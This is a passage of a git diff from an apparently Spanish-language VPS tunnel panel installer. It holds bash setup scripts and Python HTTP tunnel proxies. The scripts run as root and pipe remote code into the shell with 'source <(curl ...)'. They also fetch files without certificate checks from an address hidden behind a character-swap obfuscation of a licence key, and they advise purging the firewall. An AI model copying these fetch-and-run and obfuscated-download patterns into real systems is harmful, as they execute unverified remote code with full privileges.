error.log +cat error.log | lolcat +#msg -bar3 +echo -e " \033[1;44m Deseas Reintentar con OTRA KEY\033[0;33m :v" +echo -ne "\033[0;32m " +read -p " Responde [ s | n ] : " -e -i "n" x +[[ $x = @(s|S|y|Y) ]] && funkey || { +exit&&exit +} +} + +funkey () { +unset Key +while [[ ! $Key ]]; do +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +#[[ -f "/usr/sbin/ufw" ]] && ufw allow 443/tcp ; ufw allow 80/tcp ; ufw allow 3128/tcp ; ufw allow 8799/tcp ; ufw allow 8080/tcp ; ufw allow 81/tcp ; ufw allow 8888/tcp +clear + +fun_ip +declare -A cpu_model=$(uname -m) +[[ $cpu_model = "aarch64" ]] && cpu_model=" ARM64 Pro" || cpu_model=$(lscpu | grep "Vendor ID" | awk '{print $3}') +_sys="$(lsb_release -si)-$(lsb_release -sr)" +msg -bar3 +echo -e " \033[41m- CPU: \033[100m${cpu_model}\033[41m SISTEMA : \033[100m${_sys}\033[41m -\033[0m" +msg -bar3 +echo -e " ${FlT}${rUlq} ADMcgh Plus $(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/version/v-new.log) | @drowkid01 OFICIAL 2023 ${rUlq}${FlT} -" | lolcat +msg -bar3 +figlet ' . ADMcgh . ' | boxes -d stone -p a0v0 | lolcat +echo " PEGA TU KEY DE INSTALACION " | lolcat +echo -ne " " && msg -bar3 +echo -ne " \033[1;41m Key : \033[0;33m" && read Key +tput cuu1 && tput dl1 +done +Key="$(echo "$Key" | tr -d '[[:space:]]')" +cd $HOME +IiP=$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}') +_checkBT="$(echo -e "$_double"|grep "$IiP")" +new_id=$(uuidgen) +[[ -z ${new_id} ]] && new_id="${_checkBT}-no-uuid" +[[ $(curl -s --connect-timeout 5 $IiP:8888) ]] && { +tput cuu1 && tput dl1 +msg -bar3 +echo -ne " \e[90m\e[43m CHEK KEY : \033[0;33m" +echo -e " \e[3;32m ENLAZADA AL GENERADOR\e[0m" | pv -qL 50 +tput cuu1 && tput dl1 +msg -bar3 +echo -ne " \033[1;41m ESTAUS : \033[0;33m" +tput cuu1 && tput dl1 +echo -ne "\033[1;34m [ \e[3;32m VALIDANDO CONEXION \e[0m \033[1;34m]\033[0m" +if wget --no-check-certificate -O $HOME/lista-arq $(ofus "$Key")/$IP/$_sys/${new_id} &>/dev/null ; then +echo -e "\033[1;34m [ \e[3;32m DONE \e[0m \033[1;34m]\033[0m" +else +echo -e "\033[1;34m [ \e[3;31m FAIL \e[0m \033[1;34m]\033[0m" +invalid_key && exit +fi +#SE CREA ID KERNEL DE VERIFICACION EN BINARIOS DE MODULOS UNICOS +echo "${new_id}" > /linux-kernel +#FIN DE CREACION DE ID KERNEL DE VERIFICACION EN BINARIOS DE MODULOS +[[ -d /etc/adm-lite/userDIR/ ]] && { +mkdir /USERS &>/dev/null +mv /etc/adm-lite/userDIR/* /USERS/ +} +if [ -z "${_checkBT}" ]; then + #[[ -z ${_checkBT} ]] && { + rm -f $HOME/lista* + tput cuu1 && tput dl1 + echo -e "\n\e[3;31mRECHAZADA, POR GENERADOR NO AUTORIZADO!!\e[0m\n" && sleep 1s + echo + echo -e "\e[3;31mESTE USUARIO NO ESTA AUTORIZADO !!\e[0m" && sleep 1s + invalid_key "--ban" + exit + tput cuu1 && tput dl1 +fi +} || { + echo -e "\e[3;31mCONEXION FALLIDA\e[0m" && sleep 1s + invalid_key && exit +} + +helice() { + downloader_files >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm +} +sleep 1s +tput cuu1 && tput dl1 +downloader_files() { +[[ -e $HOME/log.txt ]] && rm -f $HOME/log.txt +IP=$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}') && echo "$IP" > /usr/bin/vendor_code + REQUEST=$(ofus "$Key"|cut -d'/' -f2) + [[ ! -d ${SCPinstal} ]] && mkdir ${SCPinstal} + for arqx in $(cat $HOME/lista-arq); do + wget --no-check-certificate -O ${SCPinstal}/${arqx} ${IP}:81/${REQUEST}/${arqx} > /dev/null 2>&1 && verificar_arq "${arqx}" + done +} +echo -ne "\033[1;37m COMPILANDO SCRIPT VIA\033[1;32m \033[1;37mHTTPS \033[1;32m127.0.0.1:85\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice +echo -e "\e[1DOk" +msg -bar3 +if [[ -e $HOME/lista-arq ]] && [[ ! $(cat $HOME/lista-arq|grep "KEY INVALIDA!") ]]; then +[[ -e ${SCPdir}/cabecalho ]] && { +echo $Key > /etc/cghkey +clear +rm -f $HOME/log.txt +} || { +clear&&clear +[[ -d $HOME/locked ]] && rm -rf $HOME/locked/* || mkdir $HOME/locked +cp -r ${SCPinstal}/* $HOME/locked/ +figlet 'LOCKED KEY' | boxes -d stone -p a0v0 +[[ -e $HOME/log.txt ]] && ff=$(cat < $HOME/log.txt | wc -l) || ff='ALL' + msg -ne " ${aLerT} " +echo -e "\033[1;31m [ $ff FILES DE KEY BLOQUEADOS ] " | pv -qL 50 && msg -bar3 +echo -e " APAGA TU CORTAFUEGOS O HABILITA PUERTO 81 Y 8888" +echo -e " ---- AGREGANDO REGLAS AUTOMATICAS ----" +act_ufw +echo -e " Si esto no funciona PEGA ESTOS COMANDOS " +echo -e " sudo ufw allow 81 && sudo ufw allow 8888 " +msg -bar3 +echo -e " sudo apt purge ufw -y" + invalid_key && exit +} +[[ -d /etc/alx ]] || mkdir /etc/alx +[[ -e /etc/folteto ]] && rm -f /etc/folteto +[[ -e /bin/ejecutar/IPcgh ]] && rm -f /bin/ejecutar/IPcgh +msg -bar3 +killall apt apt-get &> /dev/null +function_verify +fun_install "${Key}" +else +invalid_key +fi +sudo sync +echo 3 > /proc/sys/vm/drop_caches +sysctl -w vm.drop_caches=3 > /dev/null 2>&1 +} +funkey +} + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".") txt[$i]="x";; +"x") txt[$i]=".";; +"5") txt[$i]="s";; +"s") txt[$i]="5";; +"1") txt[$i]="@";; +"@") txt[$i]="1";; +"2") txt[$i]="?";; +"?") txt[$i]="2";; +"4") txt[$i]="0";; +"0") txt[$i]="4";; +"/") txt[$i]="K";; +"K") txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + +function printTitle +{ + echo "" + echo -e "\033[1;92m$1\033[1;91m" + printf '%0.s-' $(seq 1 ${#1}) + echo "" +} +killall apt apt-get &> /dev/null +TIME_START="$(date +%s)" +DOWEEK="$(date +'%u')" +[[ -e $HOME/cgh.sh ]] && rm $HOME/cgh.* + +fun_bar () { +comando[0]="$1" + ( +[[ -e $HOME/fim ]] && rm $HOME/fim +${comando[0]} -y > /dev/null 2>&1 +touch $HOME/fim + ) > /dev/null 2>&1 & +echo -ne "\033[1;33m [" +while true; do + for((i=0; i<18; i++)); do + echo -ne "\033[1;31m##" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "\033[1;33m]" + sleep 0.5s + tput cuu1 + tput dl1 + echo -ne "\033[1;33m [" +done +echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m" +} + +msg -bar3 +printTitle " ORGANIZANDO INTERFAZ DEL INSTALADOR " +echo "" +update_pak () { +echo "" +[[ $(dpkg --get-selections|grep -w "pv"|head -1) ]] || apt install pv -y &> /dev/null +os_system +echo -e " [ ! ] ESPERE UN MOMENTO [ ! ]" +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || apt-get install lolcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install -y &>/dev/null +echo "" +msg -bar3 +[[ $(echo -e "${vercion}" | grep -w "22.10") ]] && { +echo -e "\e[1;31m SISTEMA: \e[33m$distro $vercion \e[1;31m CPU: \e[33m$(lscpu | grep "Vendor ID" | awk '{print $3}')" +echo +echo -e " ---- SISTEMA NO COMPATIBLE CON EL ADM ---" +echo -e " " +echo -e " UTILIZA LAS VARIANTES MENCIONADAS DENTRO DEL MENU " +echo "" +echo -e " [ ! ] Power by @drowkid01 [ ! ]" +echo "" +msg -bar3 +exit && exit +} +echo -e "\e[1;31m SISTEMA: \e[33m$distro $vercion \e[1;31m CPU: \e[33m$(lscpu | grep "Vendor ID" | awk '{print $3}')" +msg -bar3 +dpkg --configure -a > /dev/null 2>&1 && echo -e "\033[94m ${TTcent} INTENTANDO RECONFIGURAR UPDATER ${TTcent}" | pv -qL 80 +msg -bar3 +echo -e "\033[94m ${TTcent} UPDATE DATE : $(date +"%d/%m/%Y") & TIME : $(date +"%H:%M") ${TTcent}" | pv -qL 80 +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get install net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "boxes"|head -1) ]] || apt-get install boxes -y &>/dev/null +msg -bar3 +apt-get install software-properties-common -y > /dev/null 2>&1 && echo -e "\033[94m ${TTcent} INSTALANDO NUEVO PAQUETES ( S|P|C ) ${TTcent}" | pv -qL 80 +msg -bar3 +echo -e "\033[94m ${TTcent} PREPARANDO BASE RAPIDA INSTALL ${TTcent}" | pv -qL 80 +msg -bar3 +echo -e "\033[94m ${TTcent} CHECK IP FIJA $(wget -qO- ipv4.icanhazip.com) ${TTcent}" | pv -qL 80 +msg -bar3 +echo " " +sleep 2s +#[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y -qq --silent &>/dev/null +clear&&clear +rm $(pwd)/$0 &> /dev/null +return +} +clear&&clear +update_pak +clear&&clear +rutaSCRIPT ${distro} ${vercion} +rm -f instala.* lista* +echo -e " TIEMPO DE EJECUCION $((($(date +%s)-$TIME_START)/60)) min." +[[ -z $_TIME_START ]] || { +while true; do +read -p " ENTER PARA IR AL MENU" +[[ -d /USERS ]] && mv /USERS/* /etc/adm-lite/userDIR/ && rm -rf /USERS +[[ "$((($(date +%s)-$_TIME_START)/60))" -ge "2" ]] && break +sleep 0.5s +echo -e " TIEMPO DE INSTALACION $((($(date +%s)-$_TIME_START)/60)) min." +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +done +} +#chekKEY +[[ -e "$(which chukk)" ]] && $(which chukk) || echo -e " INSTALACION NO COMPLETADA CON EXITO !" +} || { +echo -e " NO SE RECIBIÓ PARÁMETROS " +rm -f setup* +rm -f /etc/folteto +} diff --git a/setup.free b/setup.free new file mode 100644 index 0000000..8f5314a --- /dev/null +++ b/setup.free @@ -0,0 +1,126 @@ +#!/bin/bash + +until :; do + while [[ $(echo $1|grep "chukk") = "" ]]; do + for chukk in `echo 'chukk patomod update start'`; do + test "$1" == "--$chukk" + [[ $? != '0' ]] && exit 1 + done + done +done + +apt-get install toilet lolcat figlet pv jq sudo curl -y &> /dev/null +source <(curl -sSL https://raw.githubusercontent.com/CuervoCool/chukkmod/main/Complementos/msg) + +function msg(){ +declare -A kol=( [0]="ngr" [1]="r" [2]="verd" [3]="ama" [4]="azu" [5]="p" [6]="c" [7]="bra" ) +declare -A color=( [sc]='\e[0m' ) + for(( col=0;col<7;col++ )); do + color[$col]+="\e[1;3${col}m" + color[${kol[$col]}]+="${color[$col]}" + done + case $1 in + "-bar")echo -e "${color[0]}======================================${color[sc]}";; + "-ne")echo -ne "${color[0]}[\e[38;5;52m•\e[1;30m] \e[93m$2${color[2]} "&&read $3;; + "-e")echo -e "${color[e]}$2${color[sc]}";; + *)x=`echo $1|tr -d "-"` + echo -e "${color[$x]}$2";; + esac + +} + +fun_bar () { +comando[0]="$1" +comando[1]="$2" + ( +[[ -e $HOME/fim ]] && rm $HOME/fim +${comando[0]} -y > /dev/null 2>&1 +${comando[1]} -y > /dev/null 2>&1 +touch $HOME/fim + ) > /dev/null 2>&1 & +echo -ne "\033[1;33m [" +while true; do + for((i=0; i<18; i++)); do + echo -ne "\033[1;31m##" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "\033[1;33m]" + tput cuu1 + tput dl1 + echo -ne "\033[1;33m [" +done +echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m" +} + +ofus() { + unset server + server=$(echo ${txt_ofuscatw} | cut -d':' -f1) + unset txtofus + number=$(expr length $1) + for ((i = 1; i < $number + 1; i++)); do + txt[$i]=$(echo "$1" | cut -b $i) + case ${txt[$i]} in + ".") txt[$i]="C" ;; + "C") txt[$i]="." ;; + "3") txt[$i]="@" ;; + "@") txt[$i]="3" ;; + "5") txt[$i]="9" ;; + "9") txt[$i]="5" ;; + "6") txt[$i]="P" ;; + "P") txt[$i]="6" ;; + "L") txt[$i]="O" ;; + "O") txt[$i]="L" ;; + esac + txtofus+="${txt[$i]}" + done + echo "$txtofus" | rev +} + +rm -rf /etc/chukk-script &> /dev/null + +dependencias() { + dpkg --configure -a >/dev/null 2>&1 + apt -f install -y >/dev/null 2>&1 + soft="sudo grep less zip unzip ufw curl dos2unix python python3 python3-pip openssl cron iptables lsof pv boxes at mlocate gawk bc jq curl socat netcat net-tools cowsay figlet lolcat apache2" + for i in $soft; do + paquete="$i" + echo -e "\033[93m ❯ \e[97mINSTALANDO PAQUETE \e[36m $i" +# [[ $(dpkg --get-selections|grep -w "$i"|head -1) ]] || + fun_bar "apt-get install $i -y" + msg -bar + done +} + +clear +printf "%8s $(msg -azu 'INSTALANDO PAQUETES')\n" +msg -bar +dependencias +sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf >/dev/null 2>&1 +service apache2 restart >/dev/null 2>&1 +wget https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/chukk.tar &> /dev/null +mkdir -p /etc/chukk-script +tar xpf chukk.tar --directory /etc/chukk-script +rm chukk.tar +msg -ne "ingrese un resseller: " ress +msg -bar +msg -ne "ingrese el nombre del servidor: " name +msg -bar + +cat << eof > /etc/chukk-script/menu_credito +$(echo "$ress") +eof + +echo $name > /etc/chukk-script/name +ln -s /etc/chukk-script/name /root/name +mkdir /bin/ejecutar &> /dev/null +wget -q -O /bin/ejecutar/msg https://raw.githubusercontent.com/CuervoCool/chukkmod/main/msg-bar/msg &> /dev/null +echo "Verified【 $ress ©" > /bin/ejecutar/exito +cat /etc/chukk-script/v-local.log > /bin/ejecutar/v-new.log +rm /etc/chukk-script/*.txt /etc/chukk-script/0 &> /dev/null + +for menu in `echo "/bin/menu /bin/chukk /bin/adm /bin/drowkid"`; do +echo '. /etc/chukk-script/menu' > $menu +chmod +rwx $menu +done + diff --git a/setup.sh b/setup.sh new file mode 100644 index 0000000..01ac463 --- /dev/null +++ b/setup.sh @@ -0,0 +1,34 @@ +#!/bin/bash +print(){ +case $1 in + -b)echo -e "\e[38;5;226m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━";; + -a)echo -ne "\e[38;5;226m$2";; + -r)echo -ne "\e[1;31m$2";; +esac +} + +unset text value + +value='wAlslskwo3ADMc' +value+='gh@drowkid01sta' +text='ESPERE UN MOMENTO ' +value+='rt@botlatmxupdateadm-litechukkalav3egapaaaalslskm' + +until [[ ! -z ${args[@]} ]]; do + args=($(echo $*|awk -F "-" '{print $1,$2,$3,$4,$5,$6,$7,$8,$9}')) + for((i=0;i<=${#args[@]};i++));do + case ${args[@]:0} in + 'ADMcgh'|'start'|'drowkid'|'update')break;; + *)exit "$((( $? * $OPTIND ) / $RANDOM ))";; + esac + done +done + +powered=( [0]='@drowkid01 ' [1]='✧ | ᴅʀᴏᴡᴋɪᴅ | ✧ ' ) +text+="--${args[0]##$value}" + +echo -e " \e[1;97m$text\e[0m" +sleep 2 +clear +print -b +echo -e "$(print -r 'INICIANDO INSTALACIÓN')" diff --git a/test/.gitignore b/test/.gitignore new file mode 100644 index 0000000..c37fe6f --- /dev/null +++ b/test/.gitignore @@ -0,0 +1,2 @@ +menu_inst.sh +menu.sh diff --git a/test/PDirect.py b/test/PDirect.py new file mode 100644 index 0000000..7afefdc --- /dev/null +++ b/test/PDirect.py @@ -0,0 +1,278 @@ +# -*- coding: utf-8 -*- +import socket, threading, thread, select, signal, sys, time, getopt, argparse + +parser = argparse.ArgumentParser() +parser.add_argument("-l", "--local", help="Nombre de archivo a procesar") +parser.add_argument("-p", "--port", help="Nombre de archivo a procesar") +parser.add_argument("-c", "--contr", help="Nombre de archivo a procesar") +parser.add_argument("-r", "--response", help="Nombre de archivo a procesar") +parser.add_argument("-t", "--texto", help="Nombre de archivo a procesar") + +args = parser.parse_args() + +#================================== +LISTENING_ADDR = '0.0.0.0' + +if args.port: + LISTENING_PORT = int(args.port) +else: + print " Deve ingresar el puerto que usara como socks..." + sys.exit() + +if args.contr: + PASS = str(args.contr) +else: + PASS = str() + +BUFLEN = 4096 * 4 +TIMEOUT = 60 + +if args.local: + DEFAULT_HOST = '127.0.0.1:' + args.local +else: + print " Deve seleccionar un puerto existente para redireccionar el trafico..." + sys.exit() + +if args.response: + STATUS_RESP = args.response +else: + STATUS_RESP = '200' + +if args.texto: + STATUS_TXT = args.texto +elif STATUS_RESP == '101': + STATUS_TXT = 'Switching Protocols' +else: + STATUS_TXT = 'Connection established' + +RESPONSE = str('HTTP/1.1 ' + STATUS_RESP + ' ' + STATUS_TXT + '\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n') + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + self.soc.bind((self.host, self.port)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 443 + else: + port = 80 + port = 8080 + port = 8799 + port = 3128 + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + + if error: + break + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\n:-------PythonProxy-------:\n" + print "Listening addr: " + LISTENING_ADDR + print "Listening port: " + str(LISTENING_PORT) + "\n" + print ":-------------------------:\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Stopping...' + server.close() + break + +if __name__ == '__main__': + main() diff --git a/test/PGet.py b/test/PGet.py new file mode 100644 index 0000000..65b27f0 --- /dev/null +++ b/test/PGet.py @@ -0,0 +1,682 @@ +import sys, time, getopt, socket, threading, base64 + + +# CONFIG +CONFIG_LISTENING = '0.0.0.0:8799' +CONFIG_PASS = 'pwd.pwd' + + +class Logger: + + logLock = threading.Lock() + LOG_INFO = 1 + LOG_WARN = 2 + LOG_ERROR = 3 + + def printWarn(self, log): + self.log(log) + + def printInfo(self, log): + self.log(log) + + def printError(self, log): + self.log(log) + + def printLog(self, log, logLevel): + if logLevel == Logger.LOG_INFO: + self.printInfo('<-> ' + log) + elif logLevel == Logger.LOG_WARN: + self.printWarn(' ' + log) + elif logLevel == Logger.LOG_ERROR: + self.printError('<#> ' + log) + + def log(self, log): + with Logger.logLock: + print log + + + +class PasswordSet: + FILE_EXEMPLE = 'master=passwd123\n127.0.0.1:22=pwd321;321pawd\n1.23.45.67:443=pass123' + + def __init__(self, masterKey=None): + self.masterKey = masterKey + + def parseFile(self, fileName): + isValid = False + + with open(fileName) as f: + content = f.readlines() + + content = [x.strip() for x in content] + content = [item for item in content if not str(item).startswith('#')] + + if len(content) > 0: + masterKey = content[0] + + if self.splitParam(masterKey, '=') is not None and masterKey.startswith('master'): + self.masterKey = self.splitParam(masterKey, '=')[1] + + isValid = True + self.map = dict() + + for i, v in enumerate(content[1:]): + hostAndPass = self.splitParam(v, '=') + + if hostAndPass is not None: + self.map[hostAndPass[0]] = hostAndPass[1].split(';') + + return isValid + + def isValidKey(self, key, target): + valid = False + + if not self.masterKey == key: + if hasattr(self, 'map'): + if self.map.has_key(target): + valid = key in self.map[target] + else: + valid = True + + return valid + + + def splitParam(self, param, c): + index = param.find(c) + + ret = None + + if index != -1: + ret = [] + ret.append(param[0:index]) + ret.append(param[index+1:]) + + return ret + + + + +class ClientRequest: + MAX_LEN_CLIENT_REQUEST = 1024 * 100 + HEADER_CONTENT_LENGTH = 'Content-Length' + HEADER_ACTION = 'X-Action' + ACTION_CLOSE = 'close' + ACTION_DATA = 'data' + + def __init__(self, socket): + self.socket = socket + self.readConent = False + + def parse(self): + line = '' + count = 0 + self.isValid = False + self.data = None + self.contentLength = None + self.action = None + + while line != '\r\n' and count < ClientRequest.MAX_LEN_CLIENT_REQUEST: + line = self.readHttpLine() + + if line is None: + break + + if line.startswith(ClientRequest.HEADER_ACTION): + self.action = self.getHeaderVal(line) + + if not self.action is None: + if self.action == ClientRequest.ACTION_CLOSE or self.action == ClientRequest.ACTION_DATA: + self.isValid = True + + count += len(line) + + if self.readConent: + if self.contentLength > 0 and self.contentLength < ClientRequest.MAX_LEN_CLIENT_REQUEST: + self.data = self.readFully(self.contentLength) + + return self.isValid + + def readHttpLine(self): + line = '' + count = 0 + socket = self.socket + + b = socket.recv(1) + + if not b: + return None + + while count < ClientRequest.MAX_LEN_CLIENT_REQUEST: + count += 1 + line += b + + if b == '\r': + b = socket.recv(1) + count += 1 + + if not b: + break + + line += b + + if b == '\n': + break + + b = socket.recv(1) + + if not b: + break + + if not b: + return None + + return line + + def getHeaderVal(self, header): + ini = header.find(':') + + if ini == -1: + return None + + ini += 2 + + fim = header.find('\r\n') + + if fim == -1: + header = header[ini:] + + return header[ini:fim] + + def readFully(self, n): + count = 0 + data = '' + + while count < n: + packet = self.socket.recv(n - count) + + if not packet: + break + + count += len(packet) + data += packet + + + + +class Client(threading.Thread): + ACTION_DATA = 'data' + BUFFER_SIZE = 4096 + + def __init__(self, id, readSocket, target): + super(Client, self).__init__() + self.targetHostPort = target + self.id = id + self.readSocket = readSocket + self.logger = Logger() + self.isStopped = False + self.onCloseFunction = None + self.closeLock = threading.Lock() + self.threadEndCount = 0 + self.writeSocket = None + + def connectTarget(self): + aux = self.targetHostPort.find(':') + + host = self.targetHostPort[:aux] + port = int(self.targetHostPort[aux + 1:]) + + self.target = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.target.connect((host, port)) + + def run(self): + try: + self.connectTarget() + + request = ClientRequest(self.readSocket) + request.readConent = False + + if not request.parse() or not Client.ACTION_DATA == request.action: + raise Exception('client sends invalid request') + + threadRead = ThreadRelay(self.readSocket, self.target, self.finallyClose) + threadRead.logFunction = self.log + threadRead.start() + + threadWrite = ThreadRelay(self.target, self.writeSocket, self.finallyClose) + threadWrite.logFunction = self.log + threadWrite.start() + except Exception as e: + self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + self.close() + + def finallyClose(self): + with self.closeLock: + self.threadEndCount += 1 + + if self.threadEndCount == 2: + self.close() + + def close(self): + if not self.isStopped: + self.isStopped = True + + if hasattr(self, 'target'): + try: + self.target.close() + except: + pass + + if hasattr(self, 'writeSocket'): + try: + self.writeSocket.close() + except: + pass + + if hasattr(self, 'readSocket'): + try: + self.readSocket.close() + except: + pass + + self.onClose() + self.log('closed', Logger.LOG_INFO) + + def onClose(self): + if not self.onCloseFunction is None: + self.onCloseFunction(self) + + def log(self, msg, logLevel): + msg = 'Client ' + str(self.id) + ': ' + msg + self.logger.printLog(msg, logLevel) + + +class ThreadRelay(threading.Thread): + def __init__(self, readSocket, writeSocket, closeFunction=None): + super(ThreadRelay, self).__init__() + self.readSocket = readSocket + self.writeSocket = writeSocket + self.logFunction = None + self.closeFuntion = closeFunction + + def run(self): + try: + while True: + data = self.readSocket.recv(Client.BUFFER_SIZE) + if not data: + break + self.writeSocket.sendall(data) + + self.writeSocket.shutdown(socket.SHUT_WR) + except Exception as e: + if not self.logFunction is None: + self.logFunction('threadRelay error: ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + finally: + if not self.closeFuntion is None: + self.closeFuntion() + + + + +class AcceptClient(threading.Thread): + MAX_QTD_BYTES = 5000 + HEADER_BODY = 'X-Body' + HEADER_ACTION = 'X-Action' + HEADER_TARGET = 'X-Target' + HEADER_PASS = 'X-Pass' + HEADER_ID = 'X-Id' + ACTION_CREATE = 'create' + ACTION_COMPLETE = 'complete' + MSG_CONNECTION_CREATED = 'Created' + MSG_CONNECTION_COMPLETED = 'Completed' + + ID_COUNT = 0 + ID_LOCK = threading.Lock() + + def __init__(self, socket, server, passwdSet=None): + super(AcceptClient, self).__init__() + self.server = server + self.passwdSet = passwdSet + self.socket = socket + + def run(self): + needClose = True + + try: + head = self.readHttpRequest() + + bodyLen = self.getHeaderVal(head, AcceptClient.HEADER_BODY) + if not bodyLen is None: + try: + self.readFully(int(bodyLen)) + except ValueError: + pass + + action = self.getHeaderVal(head, AcceptClient.HEADER_ACTION) + + if action is None: + self.log('client sends no action header', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 NoActionHeader!\r\nServer: GetTunnelServer\r\n\r\n') + return + + if action == AcceptClient.ACTION_CREATE: + target = self.getHeaderVal(head, AcceptClient.HEADER_TARGET) + + if not self.passwdSet is None: + passwd = self.getHeaderVal(head, AcceptClient.HEADER_PASS) + + try: + passwd = base64.b64decode(passwd) + except: + passwd = None + pass + + if passwd is None or not self.passwdSet.isValidKey(passwd, target): + self.log('client sends wrong key', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 403 Forbidden\r\nServer: GetTunnelServer\r\n\r\n') + return + + if target is not None and self.isValidHostPort(target): + id = self.generateId() + + client = Client(id, self.socket, target) + client.onCloseFunction = self.server.removeClient + self.server.addClient(client) + self.socket.sendall('HTTP/1.1 200 '+ AcceptClient.MSG_CONNECTION_CREATED + '\r\nServer: GetTunnelServer\r\nX-Id: ' + str(id) + '\r\nContent-Type: text/plain\r\nContent-Length: 0\r\nConnection: 